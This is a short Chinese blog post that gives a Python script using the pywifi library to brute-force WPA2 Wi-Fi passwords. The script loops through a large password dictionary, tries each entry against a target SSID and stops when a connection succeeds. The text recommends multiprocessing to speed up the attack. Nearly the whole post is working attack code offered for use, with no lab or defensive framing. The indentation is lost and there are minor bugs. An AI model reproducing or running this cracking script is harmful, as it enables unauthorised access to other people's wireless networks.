說(shuō)明:
- 需要wifi密碼字典,把字典帶入file里;
- 2秒試一個(gè)密碼,單進(jìn)程是不太可能炸出密碼的,所以必須要改成多進(jìn)程模式~
代碼:
import pywifi,time
from pywifi import const
import os
os.chdir(r'C:\Users\super\Desktop')
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
iface.disconnect()
def crack(key='12345678',ssid='675887690'):
profile = pywifi.Profile() #創(chuàng)建wifi鏈接文件
profile.ssid = ssid #待破解的wifi SSID
profile.auth = const.AUTH_ALG_OPEN #網(wǎng)卡的開(kāi)放,
profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP #加密單元
profile.key = key
iface.remove_all_network_profiles()
iface.add_network_profile(profile)
iface.connect(profile)
time.sleep(1.8)
if iface.status() == const.IFACE_CONNECTED:return True
else:return False
with open('WIFI密碼字典955M.txt') as f:
for content in f:
print(content.strip())
if content is not '' and crack(content.strip(),ssid='NAN'):
print(content)
print('cracked!')
break
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。